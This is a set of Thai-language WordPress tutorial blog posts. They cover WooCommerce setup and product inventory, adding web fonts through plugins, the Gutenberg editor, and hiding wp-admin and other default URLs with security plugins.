เลยจัดทำแท็ปเป็นหมวดหมู่ให้เราเลือกเอาเฉพาะกลุ่มแท็ปที่เราใช้ แท็บข้อมูลของสินค้าจะถูกแบ่งเป็นกลุ่มๆ เราเลือกใส่เฉพาะที่ตรงกับลักษณะสินค้าของเรา ตอนนี้เราจะสนใจเฉพาะกลุ่มพื้นฐานคือ Simple  product ก่อนครับ แท็ป General ตามรูปข้างบนสำหรับใส่ราคาและส่วนลด การจัดการกับสินค้าคงคลัง แท็ปต่อไปคือ Inventory ใส่สำหรับใส่รหัสสินค้า (SKU) ซึ่งควรจะตั้งนะครับ ไม่ว่าสินค้าของคุณจะมีมากมีน้อยเพราะมีประโยชน์ในระยะยาว ถ้าคุณคลิกถูกตรง Enable stock manament at product level จะมีช่องให้คุณใส่จำนวนในสต็อคที่คุณมี ตามตัวอย่างคือ 3 หน่วย เมื่อเลือกให้จัดการสต็อคอัตโนมัติ เราต้องเลือกว่าจะทำอย่างไรเมื่อมีการสั่งซื้อสินค้าที่หมดสต็อค ซึ่งกรณีนี้ WooCommerce จะจัดการสต็อคให้คุณ โดยในช่อง Allow backorders คุณจะต้องเลือกว่าถ้าสินค้าขายไปจนหมดจำนวนในสต็อคที่ระบุแล้วผู้ซื้อสั่งซื้อเข้ามาจะทำอย่างไร Do not allow…

การเพิ่มฟอนต์แบบทำลิงค์

การเพิ่มฟอนต์แบบทำลิงค์

เมื่อตอนที่แล้วผมได้แนะนำวิธีการเพิ่มฟอนต์เข้าไปในเว็บด้วยการโหลดฟอนต์มาติดตั้งเอง ข้อเสียคือต้องโหลดมาติดตั้ง ในตอนนี้จะแนะนำการเพิ่มฟอนต์โดยการทำลิงค์ไปยังเว็บที่ให้บริการฟอนต์ซึ่งจริงๆก็คือ google font นั่นแหละ ถ้าคุณใช้ปลั๊กอิน Custom Fonts ในตอนที่แล้วอยู่ก็ต้อง Deactivate ไปครับ ต้องเลือกว่าจะใช้เทคนิคแบบลิงค์หรือแบบโหลดลงมา (จริงๆใช้ร่วมกันได้ แต่จะทำให้สับสนเปล่าๆ) ต่อไปลงปลั๊กอินชื่อ Easy Google Fonts เพื่อการนี้ เมื่อติดตั้งให้เข้าไปดูใน Appearance -> Customize ปลั๊กอินจะเพิ่มเมนูมาให้อันหนึ่งชื่อว่า Typography แล้วเลือก Default Typography ปกติแล้ว easy google fonts ให้เราเซตสไตล์ให้กับ paragraph กับ header ส่วนที่คุณสามารถเปลี่ยนฟอนต์ได้ก็คือ paragraph กับ heading ซึ่งก็เป็นส่วนใหญ่ของข้อความในเว็บอยู่แล้ว เมื่อคุณต้องการเปลี่ยนฟอนต์ในส่วนไหนก็ให้คลิกที่ Edit Font ในส่วนนั้น เลือกฟอนต์และสไตน์สำหรับ tag paragraph ปลั๊กอินตัวนี้จะลิงค์เข้าหา google font ให้เอง คุณเพียงแต่ค้นหาชื่อฟอนต์ที่ต้องการ คลิกที่ Font Family แล้วพิมพ์ชื่อฟอนต์ อย่างเช่น taviraj อย่างในตอนแรก เลือกฟอนต์ที่ต้องการ ถัดลงคือ Font Weight/Style ใช้สำหรับใส่ความหนาของฟอนต์ ลองเล่นดูครับ (สังเกตดูจาก preview ทางขวาจะเปลี่ยนแปลงแบบ real time) เช่น 600 ตัวฟอนต์จะหนากว่า 500 ต้องการตัวเอียงก็เลือกที่ต่อท้ายด้วย Italic เลือกขนาดและสไตล์ของฟอนต์ว่าจะเอาตัวปกติหรือตัวเอียง ส่วน Text Decoration ก็เป็นการเลือกว่า ขีดเส้นใต้ (Underline) หรือ ขีดฆ่า (Line-through) หรือ ขีดเส้นบน (Overline) เลือกแต่งฟอนต์ว่าจะเป็นตัวขีดเส้นใต้ ขีดฆ่า หรือ ขีดบน เปลี่ยนฟอนต์ส่วนที่ไม่ใช้ paragraph กับ header ที่ผ่านมาเป็นการเปลี่ยนฟอนต์ให้กับ paragraph และ header ซึ่งก็เป็นจุดที่คนส่วนใหญ่ต้องการเปลี่ยนอยู่แล้ว แต่ถ้าคุณต้องการเปลี่ยนฟอนต์ให้กับ link หรือ HTML tag อื่นๆก็ทำได้ครับ ให้ไปที่เมนู Settings -> Google Fonts หากต้องการใส่ฟอนต์และสไตล์ให้กับ tag อื่นๆจะต้องทำเป็น Control Name หลักการคือให้คุณตั้งชื่อ (Control Name) ให้กับ tag (หรือกลุ่มของ tag) ที่คุณต้องการจะเปลี่ยนฟอนต์ ตามตัวอย่างข้างต้น ผมต้องการให้เฉพาะบล็อคนี้ใช้ฟอนต์ chonburi ผมจะเซต class ของบล็อคนี้เป็น chonburi-font (ใน Gutenberg) แล้วผมจะใส่ p.chonburi-font (แล้วกด tab) ไว้ในช่อง Add CSS Selector จะต้องมี p กำกับด้วยนะครับ เพราะปลั๊กอินนี้ไม่รับชื่อ class อย่างเดียว (แต่ก็หมายถึงตำแหน่งเดียวกัน) ส่วนอันที่สองผมใส่ u#main_menu li a อันนี้เป็น selector ของ เมนูหลักซึ่งผมต้องการให้เป็นฟอนต์ chonburi ด้วย สังเกตว่าต้องมี u# กำกับด้วยนะครับ ดังนั้นต่อไปนี้หากเราต้องการบล็อคไหนให้ใช้ฟอนต์ chonburi ก็ใส่ class ชื่อ chonburi-font กำกับไว้ที่บล็อคนั้น ส่วนสไตล์ต่างๆเราก็ไปเซตที่ Customize -> Typography อีกที Myfontcontrol ที่เราสร้างไว้จะมาปรากฏในเมนู Theme Typography คราวนี้คลิก Edit Font ภายใต้ Myfontcontrol ถ้าคุณสร้าง control name ไว้หลายอันก็เลือก Edit Font ภายใต้อันนั้น แล้วเลือก Font Family เป็น Chonburi (หรือที่คุณต้องการ) เลือกฟอนต์ Chonburi…

การติดตั้งฟอนต์แบบโหลดมาใช้

การติดตั้งฟอนต์แบบโหลดมาใช้

เว็บไซต์รุ่นใหม่นิยมใช้ฟอนต์ที่หลากหลายมากขึ้นเพื่อดึงดูดความสนใจของผู้เข้าชม มีผู้สร้างฟอนต์ภาษาไทยหลายตัวให้ใช้ฟรี แหล่งที่หาได้ง่ายคือ google font ซึ่งสามารถลิงค์ได้โดยตรงโดยไม่ต้องโหลดมาติดตั้ง แต่ถ้าคุณต้องการมีฟอนต์ในระบบเองจะทำอย่างไร ถ้าคุณเบื่อ Ms San หรืออะไรก็ตามที่เป็นมาตรฐานของเบราเซอร์ ถึงเวลาแล้วที่จะเปลี่ยนฟอนต์ให้ดูแปลกตาไป คุณรู้ไหมว่าแค่คุณเปลี่ยนฟอนต์เว็บคุณจะดูแปลกไปราวๆกับการเปลี่ยนธีมเลย หาฟอนต์ฟรี แหล่งหาฟอนต์ฟรีสำหรับภาษาไทยมีสองที่ครับ https://www.f0nt.com/ กับ https://fonts.google.com ที่แรกให้คุณดาวน์โหลดฟอนต์มาติดตั้งบนเว็บของคุณ ที่สองดาวน์โหลดมาติดตั้งก็ได้หรือจะทำเป็นลิงค์ไปก็ได้ ข้อดีของการดาวน์โหลดมาติดตั้งก็คือทำให้เว็บไซต์ของคุณทำงานได้เร็วไม่ต้องลิงค์ไปหาฟอนต์ที่ต้องการ ข้อเสียคือถ้าเว็บที่เราลิงค์ไปเกิดช้า(โดยเฉพาะ google ในบางครั้ง) มันก็จะค้างอยู่อย่างนั้นเป็นเวลานาน (คุณอาจจะเคยสังเกตบางเว็บบางเวลาที่มุมล่างซ้ายของเบราเซอร์ค้างอยู่ที่ fonts.google.com) เริ่มจากฟอนต์จาก google google font มีฟอนต์ฟรีให้เลือกใช้มากมาย เนื่องจากเป็นแหล่งรวมฟอนต์ทุกภาษา ผมขอแนะนำให้คุณเริ่มหาฟอนต์ที่ตรงตามความต้องการจาก google ถ้าไม่มีก็ค่อยไปหาแหล่งอื่น เมื่อเข้าไปแล้วก็คลิกเลือกภาษาไทยจากเมนูทางขวา สมมติว่าเลือกฟอนต์ Taviraj กดปุ่ม + แล้วฟอนต์นั้นจะถูกเลือกเก็บไว้ แล้วคุณก็ไปเลือกฟอนต์อื่นๆต่อไป เมื่อฟอต์ที่ต้องการแล้ว ก็กดลิงค์ดาวน์โหลด เอาง่ายๆสมมติว่าเลือกตัวนี้ตัวเดียวก่อน ให้คุณคลิกตรงแถบสีดำแล้วกดปุ่มลุกศรดาวน์โหลด จะได้ zip ไฟล์เมื่อแตกออกมาจะได้ รายการฟอนต์ taviraj ที่แตกออกมา นี่คือฟอนต์ที่คุณจะต้องไปเอาไปติดตั้งบนเว็บไซต์ของคุณ ซึ่งต้องเลือกโฟลเดอร์ที่จะติดตั้ง ปกติ WordPress จะมีโฟลเดอร์สำหรับ upload ข้อมูลอยู่แล้ว ให้คุณสร้างโฟลเดอร์ fonts ภายใต้โฟลเดอร์นี้ mywebsite.com/wp-content/uploads/fonts ให้คุณใช้ FileZilla อัพโหลดฟอนต์ไฟล์ทุกตัวลงไปที่โฟลเดอร์นี้ จริงๆคุณเลือกเพียงสไตล์ของฟอนต์ที่ต้องการก็พอ แต่เพื่อความง่ายก็อัพโหลดไปทุกตัวก็แล้วกัน บอกให้ WordPress รู้จักฟอนต์ อันนี้ต้องใช้ปลั๊กอินช่วย มีอยู่หลายตัว ผมขอแนะนำตัวที่ง่ายที่สุด Custom Fonts เมื่อ activate แล้วให้ไปเซตที่ Appearance->Custom Fonts ในปลั๊กอิน Custom Fonts เราต้องอัพโหลดฟอนต์ที่ต้องการทุก style ทางขวาคือรายการฟอนต์ที่เคยเพิ่มเข้าไปแล้ว ทางซ้ายสำหรับบอกว่าฟอนต์ที่เราเพิ่มเข้าไปใหม่อยู่ที่ใด คุณแค่ตั้งชื่อ(Taviraj-regular ตามรูปหรือชื่ออื่น)  และในช่อง Font ttf ให้คุณเลือกว่าคุณจะใช้ฟอนต์นี้ในสไตล์ไหน เริ่มต้นผมแนะนำให้ใช้ taviraj-regular.ttf และใส่ path ให้ถูกต้องตามตัวอย่าง แล้วกด Add New Font แค่นี้ WordPress ก็จะรู้จักฟอนต์ใหม่แล้ว (ในรูปผิด แก้ taviraj เป็น taviraj-regular ทั้งสองที่) ถ้าคุณต้องการหลายสไตล์ก็ต้องเพิ่มเข้าไปทีละไฟล์ด้วยนะครับ ถึงจะใช้ได้ เลือกใช้ฟอนต์ที่เพิ่มเข้าไป ต่อไปก็คือขั้นตอนของ css แล้วครับโดยคำสั่ง font-family: ‘Taviraj-Regular’; โดยใส่กำกับลงไปตรง paragraph หรือแท็กอื่นๆที่คุณต้องการ ข้อความในบล็อกนี้ผมเซตเป็นฟอนต์ Taviraj สไตล์ regular ที่เพิ่งเพิ่มเข้าไป ผมจะสมมติว่าคุณมีความรู้เกี่ยวกับการสร้าง class กำกับบล็อกหรือ paragraph ที่จะเปลี่ยนฟอนต์หรือใช้ Inspect Element ของเบราเซอร์ในการหาบล็อกเป้าหมายที่จะใส่ css ลงไปได้ โพสต์นี้ผมใช้ Gutenberg เขียนซึ่งสามารถสร้างชื่อ class กำกับได้ง่าย เพียงคลิกที่บล็อกที่ต้องการแล้วใส่ชื่อ class กำกับในช่อง Additional CSS Class (รูปข้างล่าง) จากนั้นก็ไปที่ Additional CSS ใน Appearance -> Themes -> Customize ระบุฟอนต์ที่ต้องการ การเซตสไตล์ให้กับบล็อคใน Gutenberg เอดิเตอร์ตัวอื่นๆก็ทำคล้ายกัน ฟอนต์จากแหล่งอื่น & สรุป ก็ไม่ต่างอะไรกับที่กล่าวมา คุณเพียงแต่หาไฟล์ของฟอนต์มาแล้วอัพโหลดไปที่โฟลเดอร์ปลายทางบนเว็บของคุณแล้วก็เซตใน Custom Fonts ให้ WordPress รู้จักเป็นอันว่าเสร็จ วิธีนี้เหมาะสำหรับคนที่ถนัด css นะครับ ส่วนใครถนัดเซตผ่านเมนูผมแนะนำให้ใช้วิธีทำลิงค์ไปยัง google fonts ข้อดีคือไม่ต้องโหลดฟอนต์แบบที่กล่าวมา และ WordPress ก็มีปลั๊กอินที่ช่วยเซตขนาดฟอนต์ สี สำหรับแท็กต่างๆให้โดยไม่ต้องไปเขียน css ซึ่งทำได้ง่ายโดยใช้ปลั๊กดอิน Easy Google Fonts การเพิ่มฟอนต์แบบทำลิงค์

ทำความเข้าใจกับเพจของ WooCommerce

ทำความเข้าใจกับเพจของ WooCommerce

หลังจากที่คุณได้ติดตั้ง WooCommerce แล้ว ก่อนอื่นขอให้คุณมาสังเกตก่อนว่า WooCommerce ได้เซตอะไรไว้ให้คุณบ้าง สร้างเพจสำหรับระบบอีคอมเมิร์ซให้ ให้คุณไปดูที่เมนู Pages -> All Pages คุณจะเห็นว่า WooCommerce สร้างเพจต่อไปนี้ให้คุณ Cart, Checkout, My account, Shop โดยอัตโนมัติ ถ้าคุณเข้าไปดูในแต่ละเพจคุณจะเห็น shortcode ต่อไปนี้ ตามลำดับ [woocommerce_cart][woocommerce_checkout][woocommerce_my_account] ในเพจ shop จะไม่มี shortcode เพจ cart ใช้สำหรับแสดงรายการสินค้าที่ถูกเลือกก่อนที่จะผ่านไปขั้นตอนโอนเงิน ซึ่งเป็นหน้าที่ของ [woocommerce_cart] หน้าเพจ cart จะแสดงรายการสินค้าที่ผู้ซื้อเลือกลงตระกร้า รูปแบบเป็นไปตามธีมที่ใช้ เพจ Checkout ใช้แสดงหน้าที่จะให้ผู้ซื้อใส่รายละเอียด เช่นสถานที่จัดส่ง บิล การโอนเงิน หน้า check out จะต่อจากหน้า cart เพื่อให้ผู้ซื้อใส่รายละเอียด หน้า check out จะต่อจากหน้า cart เพื่อให้ผู้ซื้อใส่รายละเอียด หน้า check out จะต่อจากหน้า cart เพื่อให้ผู้ซื้อใส่รายละเอียด เพจ My account จะใช้แสดงพื้นที่สมาชิกของผู้ซื้อ ซึ่งสามารถมาแก้รายละเอียดของตัวเองได้ทีหลังสำหรับการสั่งซื้อครั้งถัดไป รวมทั้งบันทึกประวัติการสั่งซื้อที่ผ่านมา สถานะของการสั่งซื้อ หน้า My account สำหรับแก้ไขที่อยู่และแสดงประวัติการซื้อ เพจ shop ไม่มี shortcode ใช้แสดงรายการสินค้าสำหรับการเลือกซื้อ หน้าตาเพจ shop ซึ่งจะขึ้นกับธีมที่คุณใช้ แค่นี้ครับ หลังติดตั้ง WooCommerce เซตสิ่งเหล่านี้ไว้ให้คุณโดยอัตมัติ คุณเพียงแต่ใส่รายละเอียดเพิ่มเติม ใส่ข้อมูลสินค้าก็สามารถเปิดร้านขายของได้เลย ง่ายขนาดนั้นเชียวหรือ ? ง่ายครับ ถ้าคุณไม่ต้องการอะไรพิเศษหรือต้องการเอกลักษณ์อะไรมาก ขายอย่างเดียว เรื่องรูปร่างหน้าตาก็ยอมเสียเงินซื้อธีมดีๆไม่เกินสองพันกว่าบาทก็ได้เว็บอีคอมเมิร์สที่หรูแล้ว แต่เชื่อเถอะครับว่า ใช้ไปสักพักไม่มีอะไรถูกใจหรือตรงตามใจคุณแน่ มันมีเรื่องที่ต้องปรับปรุงแก้ไขอยู่เสมอ นี่ก็คือทางของ WordPress+WooCommerce ครับ เป็นระบบที่เปิดทางให้คุณ customize ได้เอง ก่อนไปต่อผมขอแนะนำคุณอย่างหนึ่ง แต่ถ้าคุณเน้นขายอย่างเดียว มีระบบที่ลงตัวไม่ต้องไปยุ่งอะไรกับมันมาก ผมแนะนำให้ซื้อบริการทำเว็บจะง่ายกว่า ยอมเสียค่าบริการหลังการขายในราคาที่คุณรับได้ ถ้าคุณมาแนวนี้คุณต้องใช้เวลาศึกษาและปรับปรุงไปเรื่อยๆซึ่งข้อดีคือคุณมีอิสระในการพัฒนาระบบเว็บอีคอมเมร์สของคุณให้มีเอกลักษณ์และประสิทธิภาพดูเป็นมืออาชีพในแบบของคุณได้ เพราะ WordPress+WooCommerce มีปลั๊กอินสนับสนุนเพียบทั้งฟรีและเสียเงิน(ในราคาหลักพัน) โดยที่ผู้ผลิตเว็บสำเร็จรูปไม่มีทางตามทันในระดับราคานี้ สมมติว่าคุณไปต่อนะครับ ไปด้วยกันเลย ไม่เอาเพจที่ WooCommerce เซตให้โดยอัตโนมัติได้ไหม ? ได้ครับ แต่ผมไม่เห็นเหตุผลที่คุณจะต้องไปทำ ถ้าคุณอยากจะจัดเลย์เอาท์อะไรเพิ่มเติมก็ทำได้ในเพจอัตโนมัตินั้นได้เลย ก่อนอื่นคุณต้องรู้ก่อนว่า WooCommerce  รู้ได้ไงว่าเพจนั้นเป็น shop หรือเป็น cart มันไม่ได้อ่านจาก shortcode ที่เขียนอยู่ในเพจนะครับ มันดูตรง Setting ให้คุณไปที่ WooCommerce -> Settings คลิกที่แท็บ Products เพจ shop ที่เซตโดย WooCommerce โดยอัตโนมัติ แต่คุณสามารถเปลี่ยนไปใช้เพจที่คุณสร้างเองก็ได้ ตรงที่ช่อง Shop page  นั่นแหละครับที่ใช้สำหรับเซตว่าจะเอาเพจไหนแสดงรายการสินค้า(shop) ซึ่งมันจะชี้ไปที่เพจที่ Woo สร้างให้ตอนคุณติดตั้ง ถ้าคุณมีเพจชื่ออื่นที่คุณสร้างไว้ก็คลิกที่ลูกศรเล็กๆทางขวาก็จะปรากฏรายการเพจให้เลือก แล้วก็เลือกเพจที่คุณเตรียมไว้สำหรับเป็น shop ส่วนอีก 3 เพจที่เหลือให้คุณไปที่แท็ป Advanced ครับ เช่นเดียวเพจ shop คุณสามารถเซตเพจ cart, checkout, my account ได้ด้วย คงเดาออกนะครับ ถ้าคุณมีเพจที่คุณสร้างไว้ก็เลือกเพจนั้นแทน แล้วก็กดบันทึก บางครั้งที่เพจทั้งสี่ไม่คุณเวลาที่ใช้งานก็ให้คุณมาดูที่หน้า Settings นี้ว่าเพจมันหลุดไปหรือเปล่า เช่นบางทีมันกลายไปเป็น ถ้าหน้าไหนไม่แสดงก็ให้กลับมาเช็คดูว่าหน้านั้นหลุดไปหรือเปล่า อันนี้ก็ต้องกลับมาเซตใหม่ อันนี้นานๆจะเจอครั้งโดยไม่ทราบสาเหตุ (มักจะเป็นหลังจากเซตเยอะไป 55) สรุป เริ่มต้นแค่นี้ก่อนนะครับ เดี๋ยวจะยาวไป จริงๆเนื้อหาก็ไม่มีอะไรมากเป็นพื้นฐานจริงๆ ติดตามตอนต่อไปครับ

เปลี่ยน wp-admin เป็นอย่างอื่นได้ไหม

เปลี่ยน wp-admin เป็นอย่างอื่นได้ไหม

ข้อกังวลอย่างหนึ่งของคนใช้เว็บ WordPress คือเวลาเข้าหลังเว็บจะต้องใส่ /wp-admin ต่อท้ายชื่อเว็บ อยากจะเปลี่ยนเป็นอย่างอื่นได้ไหม ดูไม่ค่อยปลอดภัย คำตอบคือได้ครับ ก็ต้องอาศัยบริการจากปลั๊กอินเช่นเคย มีอยู่หลายตัว ที่ผมจะแนะนำก็คือ WPS Hide Login เป็นตัวที่ง่ายที่สุด มีให้เซตอันเดียวคือจะให้แทน wp-admin ด้วย mylogin หรือ whatever เมนูของ WPS ซ่อน wp-admin ด้วย WPS ถ้าคุณต้องการเปลี่ยนเพียงแค่นี้ก็จบ ล็อกอินครั้งต่อไปก็ใช้ mywebsite.com/mylogin มีข้อควรระวังอย่างหนึ่งคือ หลังที่คุณ activate แล้วปลั๊กอินจะมีผลทันที ก่อนล็อกอินครั้งต่อไปจะใช้ wp-admin ไม่ได้แล้ว คุณต้องจำให้ได้ว่าคุณเปลี่ยนเป็นอะไร ค่า default หลัง activate คือ login WP Hide & Security Enhancer ยังมีปัญหาอีกอันหนึ่งที่เกี่ยวกับ url ของ WordPress ที่คุณอาจจะเป็นกังวล เพราะว่า WordPress เป็น open source คือเป็นโปรแกรมที่เปิดเผย source code และมีข้อมูลทางเทคนิคที่เป็นที่รู้กันทั่ว อย่างเช่นถ้าคุณสังเกต url ของรูปภาพในระบบของ WordPress จะอยู่ในรูป yoursite.com/wp-content/uploads/xxx.jpg และยังมีอีกหลายๆ url ที่พอดูออกก็รู้ว่าเป็น WordPress ถ้าคุณไม่ซีเรียสกับ url แบบที่กล่าวข้างต้นก็ผ่านไปได้ครับ แต่ถ้าอยากซ่อนเอาไว้ก็มีปลั๊กอินที่ช่วยอีกตัวคือ WP Hide & Security Enhancer แก้ไข /wp-content/themes ปกติธีมที่เราติดตั้งจะอยู่ภายใต้โฟลเดอร์ mysite.com/wp-content/themes สมมติว่าคุณต้องการเปลี่ยนให้เป็น mysite.com/thistheme อันนี้ก็เป็นการปกป้องชื่อธีมที่คุณใช้ โดย thistheme เป็นชื่อที่คุณตั้งคุณเองเพื่อแทนธีมที่คุณใช้ไม่ว่าจะเป็นอะไร การซ่อน themes หลักด้วย WP Hide การซ่อน include url หลักด้วย WP Hide แก้ไข wp-content โฟลเดอร์ mysite.com/wp-content ใช้สำหรับเก็บข้อมูล ธีมและปลั๊กอิน ซึ่งเป็นตัวบ่งบอกว่าเป็น WordPress ที่ชัดเจนมาก ถ้าคุณไม่ต้องการกคำว่า wp-content ก็เปลี่ยนได้ การซ่อน content url หลักด้วย WP Hide เปลี่ยน wp-content/uploads เป็นโฟลเดอร์ที่ใช้เก็บรูปภาพและข้อมูลต่างๆที่เราอัพโหลดขึ้น WordPress คุณอาจอยากเปลี่ยนด้วย การซ่อน uploads url ด้วย WP Hide แก้ไข wp-content/plugins ตามปกติปลั๊กอินที่เราติดตั้งไว้จะอยู่ภายใต้โฟลเดอร์นี้ ถ้าคุณอยากจะเปลี่ยนคำว่า mysite.com/wp-content/plugins ให้เป็น mysite.com/tools หรือคำอื่นก็ใส่ในช่องนี้ การซ่อน plugin url หลักด้วย WP Hide เนื่องจากมีปลั๊กอินหลายตัวที่คุณอาจติดตั้งในระบบของ WordPress ซึ่งชื่อของมันยังปรากฏอยู่ภายใต้คำว่า tools อยู่ ปลั๊กอินตัวนี้จะค้นหาปลั๊กอินทุกตัวที่คุณติดตั้งในระบบและให้คุณเปลี่ยนเป็นชื่ออื่นได้ เช่นผมติดตั้ง Gutenberg กับ Jetpack ไว้ ปลั๊กอินก็จะให้เราตั้งชื่อปลั๊กอินใหม่ (ภายใต้ tools) การซ่อน plugin url ด้วย WP Hide สรุป ปลั๊กอินสองตัวนี้ WPS กับ WP Hide เป็นปลั๊กอินง่ายๆที่จะช่วนให้คุณซ่อน url มาตรฐานของ WordPress ได้เป็นอย่างดี การซ่อน wp-admin เป็นสิ่งที่ผมแนะนำให้ทุกเว็บไซต์ทำนะครับ ส่วนการซ่อนอันหลังนี่แล้วแต่คุณ ถ้าคุณซีเรียสกับการถูกแฮ็คมากเปลี่ยนได้ก็ดี เป็นการลดความเสี่ยงแต่ไม่ได้รับประกันว่าจะไม่ถูกแฮ็ค เพราะสำหรับผู้รู้แล้วถึงจะซ่อนยังไงก็รู้ได้ไม่ยากว่าเว็บนั้นใช้ WordPress หรือ open source ตัวใดอยู่ มาตรการข้างต้นช่วยลดความเสี่ยงจากการถูกแฮ็คด้วย robot มากกว่าการถูกแฮ็คโดย hacker โดยตรง ที่กล่าวมานี้ไม่ได้หมายความว่า WordPress ไม่ปลอดภัยนะครับ อยากจะย้ำว่ามันเป็นธรรมชาติของโปรแกรมประเภท open source…

Gutenberg เอดิเตอร์ตัวใหม่จาก WordPress

Gutenberg เอดิเตอร์ตัวใหม่จาก WordPress

เวลาคุณเขียนโพสต์หรือเพจ คุณมีทางเลือกสองอย่างคือใช้เอดิเตอร์ที่มากับ WordPress กับเลือกใช้ layout editor ดีๆสักตัว อย่างเช่น King Composer, Live Composer หรือ Elementor เอดิเตอร์มาตรฐานที่มากับ WordPress จัดเลย์เอาท์ได้ยาก แนว composer ถึงแม้จะสร้างลูกเล่นได้มากมายแต่ก็ดูรุงรังและบางครั้งก็อืดเวลาจะสร้างหรือแก้ไขโพสต์หรือเพจ ข่าวดีคือทาง WordPress ก็เห็นจุดอ่อนตรงนี้จึงได้ออกเอดิเตอร์ตัวใหม่ซึ่งคาดว่าจะปรากฏใน WordPress เวอร์ชัน 5 เป็นต้นไป แต่สำหรับคนที่อยากลอง ทาง WordPress ก็ทำมาเป็นปลั๊กอินให้ลองชื่อว่า Gutenberg หน้าตา Gutenberg ให้คุณค้นหา Gutenberg แล้ว activate มันก็จะเข้ามาแทนที่เอดิเตอร์ตัวเดิมที่คุณใช้อยู่เวลาที่สร้างโพสต์หรือเพจ หน้าตาก็ตามตัวอย่าง หน้าตาของ Gutenberg จะเห็นว่าดูสะอาดตากว่าเอดิเตอร์ตัวเดิม ถ้าคุณมีเอดิเตอร์ตัวอื่นๆอยู่ด้วยก็ยังใช้ได้ ปกติผมใช้ King Composer ร่วมกับ Elementor ตัวแรกยังใช้ได้ (หมายถึงสวิทช์ไปได้) ส่วน elementor สวิทช์ไม่ไป มีเลย์เอาท์แบบบนลงล่างเรียกว่า block หลักการของเอดิเตอร์ตัวนี้คือมอง paragraph เป็น block เวลาจะสร้าง block ให้กดเครื่องหมาย + ที่มุมซ้ายบน แต่ละ block เราอาจใส่ข้อความซึ่งถือเป็น paragraph หรือ หัวข้อย่อย หรือรูปภาพ ถ้าต้องการใส่ element อื่นก็ให้กดเครื่องหมาย + ที่ด้านซ้ายของแต่ละบรรทัด แล้วเลือก element ที่ต้องการ เวลากด enter มันจะสร้าง block ขึ้นมาให้หนึ่งอันโดยอัตโนมัติ ถ้าเป็น intro ก็พิมพ์เนื้อหาหลังเครื่องหมาย + (ด้านซ้าย)ได้เลย ซึ่งจะถือเป็น block ที่เป็น paragraph โดยอัตโนมัติ เขียนเสร็จก็กด enter ก็จะเกิด block ใหม่ แล้วก็เขียนต่อไปอีกหนึ่งย่อหน้าหรือ paragraph เวลาเขียนโพส์ตตามหลัก SEO ก็ควรจะเขียนเป็นชั้นๆคือมีหัวข้อใหญ่แล้วก็หัวข้อย่อย จาก H1, H2, H3 ไปเรื่อยๆ H1 สงวนไว้สำหรับ title อยู่แล้ว ถ้า content ของเรามีหัวข้อย่อยก็ควรเริ่มต้นด้วย H2 ถ้าภายใน H2 มีหัวข้อย่อยก็ควรจะเป็น H3 ไล่ลงไปอย่างนี้เรื่อยๆ เมื่อต้องการเขียนหัวข้อก็ให้กด Add Heading คลิกเลือกระดับของ H แล้วพิมพ์หัวข้อได้เลย ส่วนปุ่มสองปุ่มที่ถัดจาก H ก็สำหรับใส่รูปและ shortcode ลงไปใน block ตามลำดับ องค์ประกอบอื่นๆ สังเกตว่าที่ด้านซ้ายชองแต่ละ block จะมีเครื่องหมายขึ้นลงใช้สำหรับเลื่อน block นั้นๆขึ้นบนหรือลงล่าง นี่เป็นสาเหตุที่เขาออกแบบให้จัด paragraph, image, header หรือ element ใดๆเป็น block จะได้สะดวกในการเลื่อน ลองเอาเมาส์วางที่ขอบของ block จะเห็นเครื่องหมาย + ปรากฏตรงกลางใช้สำหรับแทรก block เข้าไป สะดวกไหมครับ นอกจากที่แถบขวาบนจะมีปุ่ม H, image, shortcode อำนวยความสะดวกเวลาเขียนโพสต์แล้ว (เพราะเรามักจะวนเวียนกับสามสิ่งนี้เวลาเขียน) ถ้าเราต้องการให้ block นั้นบรรจุ element อื่นๆก็กดเครื่องหมายบวกด้านซ้าย ซึ่งก็จะขึ้น element  อื่นๆให้เลือก ก็จะมีตัวอื่นๆให้เลือก ที่น่าสนใจคือ Columns (ยังเป็น beta) เอาไว้ใช้จัดเป็นคอลัมภ์เหมือนกับ composer ทั่วไป ตัวนี้จัดได้สองคอลัมภ์ แล้วก็กด + เพิ่ม element ลงไปในในแต่ละคอลัมภ์ ตัวอย่างก็ตามนี้ นี่เป็นข้อความทางขวา Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quod ea non…

การตั้งค่า WooCommerce

การตั้งค่า WooCommerce

ผมสมมติว่าคุณคุ้นเคยทำ WordPress หรือมีเว็บไซต์อยู่แล้วและต้องการทำ eCommerce จริงๆ ผมบอกคุณก่อนว่าการเซต WooCommerce ไม่ยาก การทำเว็บขายสินค้าไม่ใช่เรื่องยาก คุณใช้เวลาเพียงหนึ่งชั่วโมงก็สามารถมีเว็บขายสินค้าได้แล้ว ถ้าคุณมีสินค้าพร้อม ข้อมูลพร้อม แต่.. คุณจะได้เว็บที่ไม่แตกต่างจากคนอื่น เริ่มติดตั้ง WooCommerce อันนี้ไม่ยาก ค้นหา WooCommerce แล้วติดตั้ง แล้ว activate เป็นอันเสร็จ มีข้อสังเกตนิดหนึ่งตอนติดตั้ง จะขึ้นให้คุณเซตค่าต่างๆไว้ตอนนี้ คุณอาจจะข้ามไปแล้วค่อยมาเซตทีหลังก็ได้ สมมติว่าคุณต้องการเซตตอนนี้ เซตเบื้องต้น การเซต WooCommerce เบื้องต้น เลือกประเทศ Thailand ใส่ที่อยู่ ซึ่งจะนำไปใช้ใน Bill เลือกสกุลเงินเป็น Thai/Baht เลือก I plan to sell both physical and digital products ซึ่งหมายถึงเราขายทั้งสินค้าและบริการ หรือเลือกรายการอื่นที่มีให้ ส่วน  Help Woocommerce improve… ก็คือคุณจะยอมให้เว็บคุณส่งข้อมูลทางเทคนิคบางอย่างไปให้ทาง WooCommerce เพื่อใช้ในการปรับปรุงเวอร์ชันต่อๆไปหรือไม่ ถ้าไม่ก็คลิกออก เซต Shipping การเซต Shipping เป็นการเซตค่าขนส่งในแต่ละโซน ตามตัวอย่างเป็นอัตราคงที่ (flat rate) คุณอาจใส่ 0 ไปทั้งสองช่องก่อน ที่เหนือเป็นหน่วยของนำหนักของสินค้าที่จะขนส่งใช้ในกรณีที่ค่าขนส่งคิดตามน้ำหนัก และหน่วยของขนาดสินค้ากรณีที่คิดค่าขนส่งตามขนาด ผูก WooCommerce เข้ากับ MailChimp ถ้าคุณใช้ อยู่คุณสามารถผูกเข้ากับ WooCommerce ได้ ถ้าไม่ใช้ก็คลิกออก ผูก MailChimp กับ WooCommerce ผูก WooCommerce กับ Jetpack ถ้าคุณใช้ Jetpack อยู่ก็สามารถผูกได้ด้วยเช่น 